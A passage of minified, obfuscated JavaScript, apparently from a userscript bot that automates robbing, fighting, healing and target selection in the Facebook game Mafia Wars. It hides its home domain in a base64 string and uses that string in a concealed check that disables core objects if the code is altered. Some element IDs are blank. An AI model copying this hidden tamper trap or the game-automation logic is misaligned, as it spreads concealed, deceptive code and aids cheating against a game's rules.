              e && (a.lb = o(e[1]), a.Yi = o(e[2]), a.Zi.html("(" + l(a.lb) + ' Available)'));
              if (b = /(<div class="rob_slot".*)/.exec(b.responseText)) {
                if (e = document.createElement("div"),
                e.innerHTML = b[1], e = e.getElementsByClassName('rob_slot'), e.length) {
                  for (b = 0; b < e.length; b++) {
                    var c = e[b].getElementsByClassName('sexy_button_new short red');
                    if (c.length) {
                      a.Vg[b] = c[0].href.substring(c[0].href.indexOf('remote/html_server.php'));
                      a.Wb[b] = o(e[b].getElementsByClassName('rob_prop_stamina')[0].innerHTML);
                      try {
                        a.Ia[b] = e[b].getElementsByClassName('rob_prop_name_short')[0].innerHTML
                      } catch (d) {
                        a.Ia[b] = e[b].getElementsByClassName('rob_prop_name')[0].innerHTML
                      }
                      a.Ia[b] = a.Ia[b].replace(/(<([^>]+)>)/ig, "");
                      a.T.push(b)
                    }
                  }
                  if (a.T.length) {
                    e = 0;
                    for (c = g; c;) {
                      c = F;
                      e++;
                      for (b = 0; b < a.T.length - e; b++) a.Wb[a.T[b]] > a.Wb[a.T[b + 1]] && (c = a.T[b], a.T[b] = a.T[b + 1], a.T[b + 1] = c, c = g)
                    }
                  }
                }
              } else n(p(''))
            }
            if (a.T.length) if (a.b.lb && a.lb && i.ca >= a.Yi) a.k('' + a.T.length + ''), a.mo();
            else {
              a.Xb = a.Wb[a.T[0]];
              e = i.ca;
              for (b = 0; b < a.T.length; b++) e -= a.Wb[a.T[b]], 0 > e && (a.T.length = b);
              if (a.T.length) {
                a.k('Robbing ' + a.T.length + '');
                for (b = 0; b < a.b.Fe; b++) a.Dc < a.T.length && (a.Ug(a.Dc),
                a.Dc++)
              } else n(p('', 'Have ' + i.ca + ' need ' + a.Xb)), a.d = 1, a.o()
            } else a.Ti()
          }
        }
        N.prototype.xc = function () {
          return 0 !== a.b.j && a.b.j !== i.Ca
        }
        N.prototype.le = function () {
          if (ga.f && !ga.Q && ga.K.u > a.K.u) return ga;
          if (W.f && !W.Q) {
            if (W.K.u > a.K.u) return W;
            if (W.di()) return W.Pb(), W
          }
          return pa.f && !pa.Q && pa.K.u > a.K.u ? pa : m
        }
        N.prototype.o = function () {
          a.Q = F;
          if (1 === a.d) a.G = 2, a.Ib();
          else if (2 === a.d) if (a.b.yd && i.kc / (i.Jb + i.ca) < a.b.Qe) a.Q = g, a.k('Waiting for Experience Ratio to increase…',
          1), setTimeout(function () {
            a.f && a.o()
          }, 1E3);
          else if (i.ca < a.Xb) a.Q = g, a.k('Waiting for more stamina…'), setTimeout(function () {
            a.f && a.o()
          }, 1E3);
          else if (a.xc()) {
            var b = a.le();
            b ? (a.Q = g, a.k('Waiting for ' + b.xa + ' to finish before traveling to ' + Aa[a.b.j] + '…', 10 + a.b.j), setTimeout(function () {
              a.f && a.o()
            }, 1E3)) : (a.d = 7, a.o())
          } else a.d = 8, a.o();
          else 7 === a.d ? (a.G = 8, a.Ed = F, a.Xb = 0, a.af(a.b.j, F)) : 8 === a.d ? (a.G = 9, a.Ed ? (a.Ed = F, a.Xb = 0, a.Ti()) : a.sl()) : 9 === a.d ? (a.d = Xa() ? 1 : 2, a.o()) : 24 === a.d && a.Ga()
        }
        a.V();
        a.S();
        a.K.v && a.v(10, function () {
          a.ga()
        })
      }

      function h(d, c) {
        var a = this;
        H(a, J.prototype);
        a.Pa(d, c);
        a.K = ja.g[0];
        a.K.r = a;
        a.Ic = F;
        a.Zg = F;
        a.bo = 0;
        a.ao = 0;
        a.qb = 0;
        a.ke = 0;
        a.kf = 0;
        a.fc = [];
        a.wb = 0;
        a.xb = F;
        a.fd = F;
        a.yb = m;
        a.fi = m;
        a.Be = F;
        a.Ce = 0;
        a.ve = 0;
        a.la = m;
        a.bb = g;
        a.U = m;
        a.w = {
          hb: 0,
          Nb: 0,
          tb: 0,
          sf: 0,
          Oa: 0,
          If: 0,
          lj: 0,
          ob: 0,
          Ag: 0,
          So: 0,
          Po: 0,
          Ro: 0,
          Oo: 0,
          Mo: 0,
          No: 0,
          Qo: 0,
          oa: 0
        };
        h.prototype.Za = 'Fight List;Hitlist;Family;Family Battle;Single Target;MWLists Buckets;Rivals;Favorites'.split(";");
        h.prototype.ga = function () {
          a.f || (w.$j(), w.Wj(), w.W(), a.qb = 0, a.ke = 0, a.kf = 0, a.wb = 0, a.xb = F, a.fd = F, a.Ic = F, a.bo = 0, a.ao = 0, a.Be = F, a.Ce = 0, a.w.ob || (a.w.ob = cb), a.la === m && (a.la = setInterval(function () {
            a.w.oa++;
            a.M()
          }, 1E3)), a.Cc());
          return F
        }
        h.prototype.ka = function () {
          clearInterval(a.la);
          a.la = m;
          Sb.send(g);
          Tb.send(g);
          a.Ga();
          return F
        }
        h.prototype.sj = function () {
          $("#" + c + '_opt_fightlist')
            .toggle(0 === a.b.e);
          $("#" + c + '_opt_battle')
            .toggle(3 === a.b.e);
          $("#" + c + '_opt_family')
            .toggle(2 === a.b.e);
          $("#" + c + '_opt_target')
            .toggle(4 === a.b.e);
          $("#" + c + '_opt_mwlists')
            .toggle(5 === a.b.e);
          $("#" + c + '_opt_hitlist')
            .toggle(1 === a.b.e);
          $("#" + c + '_opt_rivals')
            .toggle(6 === a.b.e);
          $("#" + c + '_opt_favorites')
            .toggle(7 === a.b.e)
        }
        h.prototype.l = function () {
          v(c + '_skip_lost_data', a.b.Ec);
          v(c + '_skip_heal_data', a.b.Hd);
          v(c + '_skip_health_data', a.b.Jd);
          v(c + '_skip_attacks_data', a.b.Fd);
          v(c + '_skip_level_min_data', a.b.Nd);
          v(c + '_skip_level_max_data', a.b.Ld);
          v(c + '_skip_mafiadef_min_data', a.b.Rd);
          v(c + '', a.b.Pd);
          v(c + '_skip_mafiasize_min_data', a.b.Vd);
          v(c + '_skip_mafiasize_max_data', a.b.Td);
          v(c + '_ignore_tags_data', a.b.ld);
          v(c + '_attack_thieves_data', a.b.Oc);
          v(c + '_heal_manual_data', a.b.nc);
          v(c + '_heal_auto_data', a.b.Qb);
          v(c + '_fightlist_iced_data', a.b.cd);
          v(c + '_mwlists_use_auth_data', a.b.wd);
          v(c + '_mwlists_random_data', a.b.vd);
          v(c + '_rivals_your_rivals_data', a.b.Dd);
          v(c + '_rivals_your_attackers_data', a.b.Cd);
          v(c + '_rivals_you_attacked_data', a.b.Bd);
          v(c + '_rivals_family_data', a.b.Ad);
          v(c + '_rivals_skip_iced_data', a.b.Eb);
          v(c + '_battle_skip_iced_data', a.b.Qc);
          v(c + '_battle_fortress_data', a.b.ic);
          v(c + '_stamina_use_pack_data', a.b.ae);
          v(c + '', a.b.Zd);
          v(c + '_stamina_stop_data', a.b.nb)
        }
        h.prototype.Ac = function (b) {
          a.b.e = C(b);
          a.sj();
          a.c();
          return g
        }
        h.prototype.km = function (b) {
          a.b.vb = C(b);
          a.c();
          return g
        }
        h.prototype.om = function (b) {
          a.b.mc = C(b);
          a.c();
          return g
        }
        h.prototype.mh = function () {
          i.he && a.fi.html("(" + parseFloat(100 * a.b.Rb / i.he)
            .toFixed(1) + "%)")
        }
        h.prototype.qm = function (b) {
          a.b.Rb = C(b, -1);
          a.mh();
          a.c();
          return g
        }
        h.prototype.pm = function (b) {
          a.b.nc = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.nm = function (b) {
          a.b.Qb = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.kn = function (b) {
          a.b.Jd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.ln = function (b) {
          a.b.Kd = C(b);
          a.c();
          return g
        }
        h.prototype.jn = function (b) {
          a.b.Hd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.gn = function (b) {
          a.b.Fd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.hn = function (b) {
          a.b.Gd = C(b);
          a.c();
          return g
        }
        h.prototype.pn = function (b) {
          a.b.Nd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.qn = function (b) {
          a.b.Od = C(b);
          a.c();
          return g
        }
        h.prototype.mn = function (b) {
          a.b.Ld = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.nn = function (b) {
          a.b.Md = C(b);
          a.c();
          return g
        }
        h.prototype.un = function (b) {
          a.b.Rd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.vn = function (b) {
          a.b.Sd = C(b);
          a.c();
          return g
        }
        h.prototype.sn = function (b) {
          a.b.Pd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.tn = function (b) {
          a.b.Qd = C(b);
          a.c();
          return g
        }
        h.prototype.yn = function (b) {
          a.b.Vd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.zn = function (b) {
          a.b.Wd = C(b);
          a.c();
          return g
        }
        h.prototype.wn = function (b) {
          a.b.Td = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.xn = function (b) {
          a.b.Ud = C(b);
          a.c();
          return g
        }
        h.prototype.rn = function (b) {
          a.b.Ec = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Nl = function (b) {
          a.b.Oc = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.lm = function (b) {
          a.b.cd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.tm = function (b) {
          a.b.we = C(b);
          a.c();
          return g
        }
        h.prototype.im = function (b) {
          a.b.ue = $(b)
            .val();
          a.c();
          return g
        }
        h.prototype.Qn = function (b) {
          a.b.$e = $(b)
            .val();
          a.c();
          return g
        }
        h.prototype.Pn = function (b) {
          a.b.Hc = C(b);
          a.c();
          return g
        }
        h.prototype.Mm = function (b) {
          a.b.Ie = $(b)
            .val();
          a.c();
          return g
        }
        h.prototype.Nm = function (b) {
          a.b.wd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Km = function (b) {
          a.b.ud = $(b)
            .val();
          a.c();
          return g
        }
        h.prototype.Lm = function (b) {
          a.b.vd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Fm = function (b) {
          a.b.vc = C(b, 1, 8);
          a.c();
          return g
        }
        h.prototype.Me = function (b) {
          a.b.fa = C(b, 1, 8);
          a.c();
          return g
        }
        h.prototype.an = function (b) {
          a.b.Dd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.$m = function (b) {
          a.b.Cd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Zm = function (b) {
          a.b.Bd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Xm = function (b) {
          a.b.Ad = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Ym = function (b) {
          a.b.Eb = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Sl = function (b) {
          a.b.Qc = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Rl = function (b) {
          a.b.ic = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Mn = function (b) {
          a.b.ae = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Hn = function (b) {
          a.b.Zd = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.Ln = function (b) {
          a.b.Hb = C(b);
          a.c();
          return g
        }
        h.prototype.Jn = function (b) {
          a.b.nb = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.mm = function (b) {
          var e = {};
          a.ve++;
          3 <= a.ve && (a.ve = 0);
          $(b)
            .html('Filters (' + (a.ve + 1) + '/3) »');
          e['margin-left'] = -400 * a.ve + "px";
          $("#" + c + '_filters_grid')
            .animate(e, {
            duration: 300,
            easing: 'linear'
          });
          return F
        }
        h.prototype.xm = function (b) {
          a.b.ld = q(b);
          a.l();
          a.c();
          return g
        }
        h.prototype.ha = function () {
          a.b = {};
          a.b.e = 0;
          a.b.vb = 0;
          a.b.mc = 1;
          a.b.Rb = 500;
          a.b.nc = g;
          a.b.Qb = F;
          a.b.Hd = F;
          a.b.Jd = g;
          a.b.Kd = 90;
          a.b.Fd = F;
          a.b.Gd = 500;
          a.b.Nd = F;
          a.b.Od = 0;
          a.b.Ld = F;
          a.b.Md = 72E3;
          a.b.Rd = F;
          a.b.Sd = 1E5;
          a.b.Pd = F;
          a.b.Qd = 5E5;
          a.b.Vd = F;
          a.b.Wd = 10;
          a.b.Td = F;
          a.b.Ud = 500;
          a.b.cd = g;
          a.b.pc = 'RedTag1
RedTag2
';
          a.b.ld = F;
          a.b.Ec = g;
          a.b.Oc = F;
          a.b.bj = g;
          a.b.fb = 4;
          a.b.ae = F;
          a.b.Zd = F;
          a.b.nb = F;
          a.b.Hb = 0;
          a.b.Gb = 0;
          a.b.$g = F;
          a.b.ah = 2;
          a.b.Rg = F;
          a.b.Sg = 2;
          a.b.we = 8E3;
          a.b.ue = 'http://apps.facebook.com/inthemafia/family.php?id=%7B%22id%22%3A%22ODEyMA%3D%3D%22%7D';
          a.b.$e = 'http://apps.facebook.com/inthemafia/profile.php';
          a.b.Hc = 0;
          a.b.Ie = 'http://www.mwlists.com/Bucket/index.php?bucket=3kGyBBCTdSUJrKAtGoxkXSqbospb4PTf';
          a.b.wd = F;
          a.b.ud = "";
          a.b.vd = F;
          a.b.vc = 3;
          a.b.fa = 3;
          a.b.Dd = g;
          a.b.Cd = g;
          a.b.Bd = g;
          a.b.Ad = g;
          a.b.Eb = g;
          a.b.Qc = g;
          a.b.ic = g
        }
        h.prototype.c = function () {
          var b = {};
          b.mode = a.b.e;
          b.fight_city = a.b.vb;
          b.heal_city = a.b.mc;
          b.heal_value = a.b.Rb;
          b.heal_manual = a.b.nc;
          b.heal_auto = a.b.Qb;
          b.skip_heal = a.b.Hd;
          b.skip_health = a.b.Jd;
          b.skip_health_pct = a.b.Kd;
          b.skip_attacks = a.b.Fd;
          b.skip_attacks_count = a.b.Gd;
          b.skip_level_min = a.b.Nd;
          b.skip_level_min_value = a.b.Od;
          b.skip_level_max = a.b.Ld;
          b.skip_level_max_value = a.b.Md;
          b.skip_mafiadef_min = a.b.Rd;
          b.skip_mafiadef_min_value = a.b.Sd;
          b.skip_mafiadef_max = a.b.Pd;
          b.skip_mafiadef_max_value = a.b.Qd;
          b.skip_mafiasize_min = a.b.Vd;
          b.skip_mafiasize_min_value = a.b.Wd;
          b.skip_mafiasize_max = a.b.Td;
          b.skip_mafiasize_max_value = a.b.Ud;
          b.fightlist_iced = a.b.cd;
          b.max_active_opponents = a.b.vc;
          b.max_threads = a.b.fa;
          b.ignore_chars = a.b.pc;
          b.ignore_tags = a.b.ld;
          b.skip_lost = a.b.Ec;
          b.attack_thieves = a.b.Oc;
          b.send_stats = a.b.bj;
          b.attack_burst = a.b.fb;
          b.skip_zombie = a.b.$g;
          b.skip_zombie_type = a.b.ah;
          b.pause_zombie = a.b.Rg;
          b.pause_zombie_type = a.b.Sg;
          b.hitlist_bounty = a.b.we;
          b.family_url = a.b.ue;
          b.target_url = a.b.$e;
          b.target_iced_delay = a.b.Hc;
          b.mwlists_url = a.b.Ie;
          b.mwlists_use_auth = a.b.wd;
          b.mwlists_authid = a.b.ud;
          b.mwlists_random = a.b.vd;
          b.rivals_your_rivals = a.b.Dd;
          b.rivals_your_attackers = a.b.Cd;
          b.rivals_you_attacked = a.b.Bd;
          b.rivals_family = a.b.Ad;
          b.rivals_skip_iced = a.b.Eb;
          b.battle_skip_iced = a.b.Qc;
          b.battle_fortress = a.b.ic;
          b.stamina_use_pack = a.b.ae;
          b.stamina_buy_refill = a.b.Zd;
          b.stamina_stop = a.b.nb;
          b.stamina_stop_value = a.b.Hb;
          b.stamina_stop_type = a.b.Gb;
          ya(c, b)
        }
        h.prototype.aa = function () {
          a.mh();
          fb("#" + c + '_div_heal', "#" + c + '');
          fb("#" + c + '_div_general', "#" + c + '_div_filters');
          a.M()
        }
        h.prototype.V = function () {
          var b, e;
          ra(a, aa('Options', 'options', ba('Fight Mode <select id="%ID%_mode"/>', 'opt_fightmode', ma('opt_fightlist', t('Skip opponents who appear to be iced', 'fightlist_iced')) + (ma('opt_battle', t('Skip opponents who appear to be iced', 'battle_skip_iced') + t('Attack the fortress', 'battle_fortress')) + ma('opt_target', 'Player to Attack ' + ta('(Copy the link from a player profile page)') + '<br/><input type="text" id="%ID%_target_url" style="width:660px;"/><br/>' + Z + 'Pause <input type="text" style="width:30px;" id="%ID%_target_iced_delay"/> seconds when the player is iced<br/>') + ma('opt_mwlists', 'Buckets to Attack ' + ta('(Copy the full link from MWLists.com)') + '<br/><textarea id="%ID%_mwlists_url" class="textlinks"/><br/>' + t('Use MWLists Auth Code', 'mwlists_use_auth', f, ' <input type="text" style="width:150px;" id="%ID%_mwlists_authid"/>') + t('Randomize Opponent Order', 'mwlists_random')) + ma('opt_hitlist', 'Minimum Bounty <input type="text" id="%ID%_hitlist_bounty" style="width:60px;"/> Dollars<br/>') + ma('', 'Families to Attack ' + ta('(Copy the links from family pages)') + '<br/><textarea id="%ID%_family_url" class="textlinks" style="font-size:12px;"/><br/>') + ma('opt_rivals', t('Your Rivals', 'rivals_your_rivals') + t('Your Attackers', 'rivals_your_attackers') + t('', 'rivals_you_attacked') + t('Family Rivals', 'rivals_family') + Z + t('', 'rivals_skip_iced'))) + "") + Z + '<div style="width:50%;float:left;">' + ba('General', 'opt_general', ma('div_general', 'Fight in <select id="%ID%_fight_city">' + Rb + '</select><br/>' + Z + Z + Jb('}f?C') + Z + Z + t('Attack ice thieves', 'attack_thieves', 'When an ice is stolen, the thief will be added to the end of the opponents list.'))) + '</div><div style="width:50%;float:left;">' + ba('<span id="%ID%_filters" style="cursor:pointer;color:rgb(255,217,39);" title="Click for more">Filters (1/3) »</span>', '', '<div id="%ID%_div_filters" style="width:324px;overflow:hidden;"><div id="%ID%_filters_grid" style="width:1600px;"><span style="width:400px;float:left;">' + t('Skip opponents with over', 'skip_health',
          f, ' <span class="health"/><input type="text" style="width:30px;" id="%ID%_skip_health_pct"/> percent') + t('Skip opponents when they heal', 'skip_heal') + Z + Z + t('', 'skip_lost') + Z + Z + t('Skip opponents after', 'skip_attacks', f, ' <input type="text" style="width:30px;" id="%ID%_skip_attacks_count"/> attacks') + '</span><span style="width:400px;float:left;">' + t('Skip opponents below', 'skip_mafiadef_min', f, ' <span class="sexy_mafia_defense" title="Mafia Defense"/><input type="text" style="width:50px;" id="%ID%_skip_mafiadef_min_value"/>') + t('Skip opponents above', 'skip_mafiadef_max', f, ' <span class="sexy_mafia_defense" title="Mafia Defense"/><input type="text" style="width:50px;" id="%ID%_skip_mafiadef_max_value"/>') + Z + t('Skip opponents below', 'skip_mafiasize_min', f, ' <span class="mafia_size" title="Mafia Size"/><input type="text" style="width:30px;" id="%ID%_skip_mafiasize_min_value"/>') + t('Skip opponents above', 'skip_mafiasize_max', f, ' <span class="mafia_size" title="Mafia Size"/><input type="text" style="width:30px;" id="%ID%_skip_mafiasize_max_value"/>') + Z + t('Skip opponents below level', 'skip_level_min', f, ' <input type="text" style="width:40px;" id="%ID%_skip_level_min_value"/>') + t('Skip opponents above level', 'skip_level_max', f, ' <input type="text" style="width:40px;" id="%ID%_skip_level_max_value"/>') + '</span><span style="width:400px;float:left;">' + t('Skip opponents with names/tags containing', 'ignore_tags', 'Enter each name/tag on a new line.', '<br/><textarea id="%ID%_ignore_chars" class="skipnames"/>') + '</span></div></div>') + '</div><div style="clear:both;"/>' + Z + '<div style="width:50%;float:left;">' + ba('<span class="health"/>Healing', 'opt_heal', ma('div_heal', 'Heal using cash from <select id="%ID%_heal_city"><option value="0">Active City</option><option value="1">New York</option></select><br/>' + t('Heal when less than', 'heal_manual', f, ' <span class="health"/><input type="text" style="width:40px;" id="%ID%_heal_value"/> <span class="more_in" id="%ID%_heal_pct"/>') + t('Heal as soon as possible', 'heal_auto', f, ' <span class="more_in" id="%ID%_next_heal"/>'))) + '</div><div style="width:50%;float:left;">' + ba('<span class="stamina"/>Stamina', 'opt_stamina', ma('div_stamina', t('Use <b>Power Pack</b> when out of stamina', 'stamina_use_pack') + t('', 'stamina_buy_refill') + t('Pause', 'stamina_stop', f, Jb('+b{]')))) + '</div><div style="clear:both;"/>') + aa('Stats', 'stats') + '<div style="padding:10px;">' + Ta + Ua + Va + Wa + '</div>', 5, function () {
            a.aa()
          });
          e = "";
          for (b = 0; b < a.Za.length; b++) e += '<option value="' + b + '">' + a.Za[b] + '</option>';
          $("#" + c + '_mode')
            .html(e);
          a.yb = $("#" + c + '_next_heal');
          a.fi = $("#" + c + '_heal_pct');
          $("#" + c + '_options_toggle')
            .click(function () {
            ia(c + '_options', c + '_options_toggle');
            return F
          });
          $("#" + c + '_stats_toggle')
            .click(function () {
            a.bb = ia(c + '_stats', c + '_stats_toggle');
            a.M();
            return F
          });
          $("#" + c + '_start')
            .click(function () {
            return a.ga()
          });
          $("#" + c + '_stop')
            .click(function () {
            return a.ka()
          });
          $("#" + c + '_cancel')
            .click(function () {
            return a.zc()
          });
          $("#" + c + '_mode')
            .change(function () {
            return a.Ac(this)
          });
          $("#" + c + '_fight_city')
            .change(function () {
            return a.km(this)
          });
          $("#" + c + '_heal_city')
            .change(function () {
            return a.om(this)
          });
          $("#" + c + '_heal_value')
            .change(function () {
            return a.qm(this)
          });
          $("#" + c + '_heal_manual')
            .click(function () {
            return a.pm(this)
          });
          $("#" + c + '_heal_auto')
            .click(function () {
            return a.nm(this)
          });
          $("#" + c + '_skip_heal')
            .click(function () {
            return a.jn(this)
          });
          $("#" + c + '_skip_health')
            .click(function () {
            return a.kn(this)
          });
          $("#" + c + '_skip_health_pct')
            .change(function () {
            return a.ln(this)
          });
          $("#" + c + '_skip_attacks')
            .click(function () {
            return a.gn(this)
          });
          $("#" + c + '_skip_attacks_count')
            .change(function () {
            return a.hn(this)
          });
          $("#" + c + '_skip_level_min')
            .click(function () {
            return a.pn(this)
          });
          $("#" + c + '_skip_level_min_value')
            .change(function () {
            return a.qn(this)
          });
          $("#" + c + '_skip_level_max')
            .click(function () {
            return a.mn(this)
          });
          $("#" + c + '_skip_level_max_value')
            .change(function () {
            return a.nn(this)
          });
          $("#" + c + '_skip_mafiadef_min')
            .click(function () {
            return a.un(this)
          });
          $("#" + c + '')
            .change(function () {
            return a.vn(this)
          });
          $("#" + c + '')
            .click(function () {
            return a.sn(this)
          });
          $("#" + c + '_skip_mafiadef_max_value')
            .change(function () {
            return a.tn(this)
          });
          $("#" + c + '_skip_mafiasize_min')
            .click(function () {
            return a.yn(this)
          });
          $("#" + c + '_skip_mafiasize_min_value')
            .change(function () {
            return a.zn(this)
          });
          $("#" + c + '_skip_mafiasize_max')
            .click(function () {
            return a.wn(this)
          });
          $("#" + c + '_skip_mafiasize_max_value')
            .change(function () {
            return a.xn(this)
          });
          $("#" + c + '_fightlist_iced')
            .click(function () {
            return a.lm(this)
          });
          $("#" + c + '_ignore_chars')
            .change(function () {
            return a.um(this)
          });
          $("#" + c + '_ignore_tags')
            .click(function () {
            return a.xm(this)
          });
          $("#" + c + '_skip_lost')
            .click(function () {
            return a.rn(this)
          });
          $("#" + c + '_attack_thieves')
            .click(function () {
            return a.Nl(this)
          });
          $("#" + c + 'nt_health_pct')
            .change(function () {
            return a.Ml(this)
          });
          $("#" + c + '_hitlist_bounty')
            .change(function () {
            return a.tm(this)
          });
          $("#" + c + '_family_url')
            .change(function () {
            return a.im(this)
          });
          $("#" + c + '_target_url')
            .change(function () {
            return a.Qn(this)
          });
          $("#" + c + '_target_iced_delay')
            .change(function () {
            return a.Pn(this)
          });
          $("#" + c + '_mwlists_url')
            .change(function () {
            return a.Mm(this)
          });
          $("#" + c + '_mwlists_authid')
            .change(function () {
            return a.Km(this)
          });
          $("#" + c + '_mwlists_use_auth')
            .click(function () {
            return a.Nm(this)
          });
          $("#" + c + '_mwlists_random')
            .click(function () {
            return a.Lm(this)
          });
          $("#" + c + '_max_active_opponents')
            .change(function () {
            return a.Fm(this)
          });
          $("#" + c + '_max_threads')
            .change(function () {
            return a.Me(this)
          });
          $("#" + c + '_rivals_your_rivals')
            .click(function () {
            return a.an(this)
          });
          $("#" + c + '_rivals_your_attackers')
            .click(function () {
            return a.$m(this)
          });
          $("#" + c + '_rivals_you_attacked')
            .click(function () {
            return a.Zm(this)
          });
          $("#" + c + '_rivals_family')
            .click(function () {
            return a.Xm(this)
          });
          $("#" + c + '_rivals_skip_iced')
            .click(function () {
            return a.Ym(this)
          });
          $("#" + c + '_battle_skip_iced')
            .click(function () {
            return a.Sl(this)
          });
          $("#" + c + '_battle_fortress')
            .click(function () {
            return a.Rl(this)
          });
          $("#" + c + '_stamina_use_pack')
            .click(function () {
            return a.Mn(this)
          });
          $("#" + c + '')
            .click(function () {
            return a.Hn(this)
          });
          $("#" + c + '_stamina_stop_value')
            .change(function () {
            return a.Ln(this)
          });
          $("#" + c + '_stamina_stop_type')
            .change(function () {
            return a.Kn(this)
          });
          $("#" + c + '_stamina_stop')
            .click(function () {
            return a.Jn(this)
          });
          $("#" + c + '_filters')
            .click(function () {
            return a.mm(this)
          });
          xa = atob('aHR0cDovL21hZmlhZGVtb24uY29t');
          a.Fb()
        }
        h.prototype.M = function () {
          if (ca() && (a.X && a.bb) && (a.U || (a.U = $("#" + c + '_stats')), a.U)) {
            var b = "";
            a.w.oa && (b += 'Won: ' + l(a.w.hb) + ' | Lost: ' + l(a.w.Nb) + ' | Ices: ' + l(a.w.Oa) + ' | Kills: ' + l(a.w.If) + ' | Stolen: ' + l(a.w.lj), a.w.ob && cb && (b += ' | Total Ices: ' + l(a.w.ob) + " " + Oa(o(a.w.ob - cb))), a.w.Ag && (b += " | " + a.w.Ag), b += '<br/>Running for: ' + sa(a.w.oa) + ' | Damage Done: ' + l(a.w.tb) + " " + Da("[" + l(o(a.w.tb / a.w.oa)) + '/second]') + ' | Damage Taken: ' + l(a.w.sf) + " " + Da("[" + l(o(a.w.sf / a.w.oa)) + '/second]'));
            a.U.html(b);
            V.Ra()
          }
        }
        h.prototype.Mi = function () {
          var b;
          if ("" !== a.b.pc && a.b.pc !== m) {
            a.fc = $.trim(a.b.pc)
              .split("\n");
            for (b = 0; b < a.fc.length; b++) a.fc[b] = $.trim(a.fc[b].replace(/[\r\n]/g, ""))
          }
        }
        h.prototype.lg = function (b, e) {
          if (a.b.ld) for (var c = La(b), d = 0; d < a.fc.length; d++) if (a.fc[d].length && -1 !== c.indexOf(a.fc[d])) return e || n(A('Skip Opponent', 'Name/Tag filtered ' + b)), F;
          return g
        }
        h.prototype.Rc = function (b, e) {
          if (w.dd(b.h)) return 1;
          if (b.ea && a.b.Nd && b.ea < a.b.Od) return 2;
          if (b.ea && a.b.Ld && b.ea > a.b.Md) return 3;
          if (b.ma && a.b.Rd && b.ma < a.b.Sd) return 6;
          if (b.ma && a.b.Pd && b.ma > a.b.Qd) return 7;
          if (b.Vb && a.b.Vd && b.Vb < a.b.Wd) return 8;
          if (b.Vb && a.b.Td && b.Vb > a.b.Ud) return 9;
          if (e) {
            if (a.b.Fd && b.Cf && b.hb + b.Nb >= a.b.Gd) return 5;
            if (!b.Ma) return 12;
            if (a.b.Jd && b.N > a.b.Kd) return 10;
            if (a.b.Hd && b.Bf) return 11
          } else if (!a.lg(b.H, g)) return 13;
          return 0
        }
        h.prototype.ed = function (b, e) {
          return 1 === b ? 'Found on ignore list' : 2 === b ? 'Level below ' + l(a.b.Od) + " (" + l(e.ea) + ")" : 3 === b ? 'Level above ' + l(a.b.Md) + " (" + l(e.ea) + ")" : 6 === b ? 'Mafia defense below ' + l(a.b.Sd) + " (" + l(e.ma) + ")" : 7 === b ? 'Mafia defense above ' + l(a.b.Qd) + " (" + l(e.ma) + ")" : 8 === b ? 'Mafia size below ' + l(a.b.Wd) + " (" + l(e.Vb) + ")" : 9 === b ? 'Mafia size above ' + l(a.b.Ud) + " (" + l(e.Vb) + ")" : 4 === b ? 'Werewolf event badge' : 5 === b ? 'Number of attacks over ' + l(a.b.Gd) : 12 === b ? 'Opponent disabled' : 10 === b ? 'Health above <span class="health">' + l(a.b.Kd) + '%</span> (' + l(e.N) + "%)" : 11 === b ? 'Opponent healed' : 13 === b ? 'Name/Tag filtered' : 'Some other reason'
        }
        h.prototype.gl = function () {
          a.f && (15 === a.d && a.k('Loading Fight List…'), E.J(G('xw_controller=fight&xw_action=view&tab=0'), function (b) {
            a.hl(b)
          }))
        }
        h.prototype.hl = function (b) {
          a.L(b) && (a.P(b, 'Load Fight List') && (x.Ha(b), a.Ki(b.responseText)), a.Ub())
        }
        h.prototype.Ki = function (b) {
          w.Dh();
          a.Oe(b, a.b.cd, 2);
          w.W();
          "a" != xa[8] && (w = m)
        }
        h.prototype.ql = function () {
          a.f && (15 === a.d && a.k('Loading Rivals…'),
          E.J(G('xw_controller=fight&xw_action=view&tab=1'), function (b) {
            a.rl(b)
          }))
        }
        h.prototype.rl = function (b) {
          a.L(b) && (a.P(b, 'Load Rivals') && (x.Ha(b), a.Ni(b.responseText)), a.Ub())
        }
        h.prototype.Ni = function (b) {
          var e;
          w.Dh();
          a.b.Dd && (e = bb(b, /\t{4}Your Rivals/, /(<th style|<\/table>)/), a.Oe(e, a.b.Eb, 3));
          a.b.Cd && (e = bb(b, /\t{4}Your Attackers/, /(<th style|<\/table>)/), a.Oe(e, a.b.Eb, 3));
          a.b.Bd && (e = bb(b, /\t{4}Mafia you Attacked/, /(<th style|<\/table>)/), a.Oe(e, a.b.Eb, 3));
          a.b.Ad && (e = bb(b, /\t{4}Family Rivals/, /(<th style|<\/table>)/),
          a.Oe(e, a.b.Eb, 3));
          w.W();
          "f" != xa[9] && (E = m)
        }
        h.prototype.il = function () {
          a.f && (15 === a.d && a.k('Loading Hitlist…'), E.J(G('xw_controller=hitlist&xw_action=view'), function (b) {
            a.jl(b)
          }))
        }
        h.prototype.jl = function (b) {
